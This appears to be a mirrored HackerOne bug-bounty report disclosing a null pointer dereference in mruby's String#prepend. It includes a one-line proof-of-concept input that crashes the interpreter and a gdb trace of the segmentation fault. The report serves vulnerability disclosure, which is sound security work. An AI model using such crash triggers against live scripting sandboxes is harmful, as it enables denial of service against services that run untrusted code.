HexBrain

shopify-scripts · Report #193081

Null pointer dereference in mrb_str_prepend

Validstatus
$800bounty
3upvotes
7 Feb 2017disclosed

How it was found

PoC

String.new.prepend("")

Cause

This crash is caused by null dereference in https://github.com/mruby/mruby/blob/master/mrbgems/mruby-string-ext/src/string.c#L474

Test

$ gdb -q --args ./bin/mruby test4.rb
Reading symbols from ./bin/mruby...done.
(gdb) r
Starting program: /home/tunz/working/mruby/mruby/bin/mruby test4.rb

Program received signal SIGSEGV, Segmentation fault.
0x0000000000464553 in mrb_str_prepend (mrb=0x1538010, self=...) at /home/tunz/working/mruby/mruby/mrbgems/mruby-string-ext/src/string.c:474
474       RSTR_PTR(s1)[len] = '\0';

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original